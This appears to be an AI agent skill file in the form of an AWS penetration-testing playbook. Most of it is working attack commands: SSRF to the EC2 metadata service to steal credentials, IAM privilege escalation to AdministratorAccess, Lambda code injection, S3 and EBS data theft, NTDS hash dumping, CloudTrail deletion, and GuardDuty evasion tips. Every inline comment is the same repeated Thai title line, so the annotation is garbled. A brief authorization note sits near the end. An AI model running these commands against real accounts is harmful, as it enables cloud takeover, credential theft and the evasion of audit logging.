---
name: AWS Penetration Testing
description: "สกิลสำหรับ การทดสอบเจาะระบบบน AWS ใช้เมื่อต้องการแนวทาง ขั้นตอน Template หรือคำแนะนำเชิงปฏิบัติสำหรับงาน IT, SysAdmin, Infrastructure, Security, Network, Server และระบบปฏิบัติการ ในหัวข้อนี้"
metadata:
  author: zebbern
  version: "1.1"
---

# การทดสอบเจาะระบบบน AWS

## Purpose

Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.

## Inputs/Prerequisites

- AWS CLI configured with credentials
- Valid AWS credentials (even low-privilege)
- Understanding of AWS IAM model
- Python 3, boto3 library
- Tools: Pacu, Prowler, ScoutSuite, SkyArk

## Outputs/Deliverables

- IAM privilege escalation paths
- Extracted credentials and secrets
- Compromised EC2/Lambda/S3 resources
- Persistence mechanisms
- Security audit findings

---

## Essential Tools

| Tool | Purpose | Installation |
|------|---------|--------------|
| Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` |
| SkyArk | Shadow Admin discovery | `Import-Module .\SkyArk.ps1` |
| Prowler | Security auditing | `pip install prowler` |
| ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` |
| enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` |
| Principal Mapper | IAM analysis | `pip install principalmapper` |

---

## Core Workflow

### Step 1: Initial Enumeration

Identify the compromised identity and permissions:

```bash
# การทดสอบเจาะระบบบน AWS
aws sts get-caller-identity

# การทดสอบเจาะระบบบน AWS
aws configure --profile compromised

# การทดสอบเจาะระบบบน AWS
aws iam list-access-keys

# การทดสอบเจาะระบบบน AWS
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
```

### Step 2: IAM Enumeration

```bash
# การทดสอบเจาะระบบบน AWS
aws iam list-users

# การทดสอบเจาะระบบบน AWS
aws iam list-groups-for-user --user-name TARGET_USER

# การทดสอบเจาะระบบบน AWS
aws iam list-attached-user-policies --user-name TARGET_USER

# การทดสอบเจาะระบบบน AWS
aws iam list-user-policies --user-name TARGET_USER

# การทดสอบเจาะระบบบน AWS
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1

# การทดสอบเจาะระบบบน AWS
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME
```

### Step 3: Metadata SSRF (EC2)

Exploit SSRF to access metadata endpoint (IMDSv1):

```bash
# การทดสอบเจาะระบบบน AWS
http://169.254.169.254/latest/meta-data/

# การทดสอบเจาะระบบบน AWS
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# การทดสอบเจาะระบบบน AWS
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# การทดสอบเจาะระบบบน AWS
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}
```

**For IMDSv2 (token required):**

```bash
# การทดสอบเจาะระบบบน AWS
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

# การทดสอบเจาะระบบบน AWS
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
```

**Fargate Container Credentials:**

```bash
# การทดสอบเจาะระบบบน AWS
/proc/self/environ
# การทดสอบเจาะระบบบน AWS

# การทดสอบเจาะระบบบน AWS
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
```

---

## Privilege Escalation Techniques

### Shadow Admin Permissions

These permissions are equivalent to administrator:

| Permission | Exploitation |
|------------|--------------|
| `iam:CreateAccessKey` | Create keys for admin user |
| `iam:CreateLoginProfile` | Set password for any user |
| `iam:AttachUserPolicy` | Attach admin policy to self |
| `iam:PutUserPolicy` | Add inline admin policy |
| `iam:AddUserToGroup` | Add self to admin group |
| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with admin role |
| `lambda:UpdateFunctionCode` | Inject code into Lambda |

### Create Access Key for Another User

```bash
aws iam create-access-key --user-name target_user
```

### Attach Admin Policy

```bash
aws iam attach-user-policy --user-name my_username \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```

### Add Inline Admin Policy

```bash
aws iam put-user-policy --user-name my_username \
  --policy-name admin_policy \
  --policy-document file://admin-policy.json
```

### Lambda Privilege Escalation

```python
# การทดสอบเจาะระบบบน AWS
import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response
```

```bash
# การทดสอบเจาะระบบบน AWS
aws lambda update-function-code --function-name target_function \
  --zip-file fileb://malicious.zip
```

---

## S3 Bucket Exploitation

### Bucket Discovery

```bash
# การทดสอบเจาะระบบบน AWS
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt

# การทดสอบเจาะระบบบน AWS
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}
```

### Bucket Enumeration

```bash
# การทดสอบเจาะระบบบน AWS
aws s3 ls

# การทดสอบเจาะระบบบน AWS
aws s3 ls s3://bucket-name --recursive

# การทดสอบเจาะระบบบน AWS
aws s3 sync s3://bucket-name ./local-folder
```

### Public Bucket Search

```
https://buckets.grayhatwarfare.com/
```

---

## Lambda Exploitation

```bash
# การทดสอบเจาะระบบบน AWS
aws lambda list-functions

# การทดสอบเจาะระบบบน AWS
aws lambda get-function --function-name FUNCTION_NAME
# การทดสอบเจาะระบบบน AWS

# การทดสอบเจาะระบบบน AWS
aws lambda invoke --function-name FUNCTION_NAME output.txt
```

---

## SSM Command Execution

Systems Manager allows command execution on EC2 instances:

```bash
# การทดสอบเจาะระบบบน AWS
aws ssm describe-instance-information

# การทดสอบเจาะระบบบน AWS
aws ssm send-command --instance-ids "i-0123456789" \
  --document-name "AWS-RunShellScript" \
  --parameters commands="whoami"

# การทดสอบเจาะระบบบน AWS
aws ssm list-command-invocations --command-id "CMD-ID" \
  --details --query "CommandInvocations[].CommandPlugins[].Output"
```

---

## EC2 Exploitation

### Mount EBS Volume

```bash
# การทดสอบเจาะระบบบน AWS
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"

# การทดสอบเจาะระบบบน AWS
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a

# การทดสอบเจาะระบบบน AWS
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf

# การทดสอบเจาะระบบบน AWS
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen
```

### Shadow Copy Attack (Windows DC)

```bash
# การทดสอบเจาะระบบบน AWS
# การทดสอบเจาะระบบบน AWS
# การทดสอบเจาะระบบบน AWS
# การทดสอบเจาะระบบบน AWS
# การทดสอบเจาะระบบบน AWS
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local
```

---

## Console Access from API Keys

Convert CLI credentials to console access:

```bash
git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY

# การทดสอบเจาะระบบบน AWS
```

---

## Covering Tracks

### Disable CloudTrail

```bash
# การทดสอบเจาะระบบบน AWS
aws cloudtrail delete-trail --name trail_name

# การทดสอบเจาะระบบบน AWS
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events

# การทดสอบเจาะระบบบน AWS
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events --no-is-multi-region-trail
```

**Note:** Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.

---

## Quick Reference

| Task | Command |
|------|---------|
| Get identity | `aws sts get-caller-identity` |
| List users | `aws iam list-users` |
| List roles | `aws iam list-roles` |
| List buckets | `aws s3 ls` |
| List EC2 | `aws ec2 describe-instances` |
| List Lambda | `aws lambda list-functions` |
| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |

---

## Constraints

**Must:**
- Obtain written authorization before testing
- Document all actions for audit trail
- Test in scope resources only

**Must Not:**
- Modify production data without approval
- Leave persistent backdoors without documentation
- Disable security controls permanently

**Should:**
- Check for IMDSv2 before attempting metadata attacks
- Enumerate thoroughly before exploitation
- Clean up test resources after engagement

---

## Examples

### Example 1: SSRF to Admin

```bash
# การทดสอบเจาะระบบบน AWS
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# การทดสอบเจาะระบบบน AWS
# การทดสอบเจาะระบบบน AWS
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

# การทดสอบเจาะระบบบน AWS
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# การทดสอบเจาะระบบบน AWS
aws sts get-caller-identity
```

---

## Troubleshooting

| Issue | Solution |
|-------|----------|
| Access Denied on all commands | Enumerate permissions with enumerate-iam |
| Metadata endpoint blocked | Check for IMDSv2, try container metadata |
| GuardDuty alerts | Use Pacu with custom user-agent |
| Expired credentials | Re-fetch from metadata (temp creds rotate) |
| CloudTrail logging actions | Consider disable or log obfuscation |

---

## Additional Resources

For advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see [references/advanced-aws-pentesting.md](references/advanced-aws-pentesting.md).
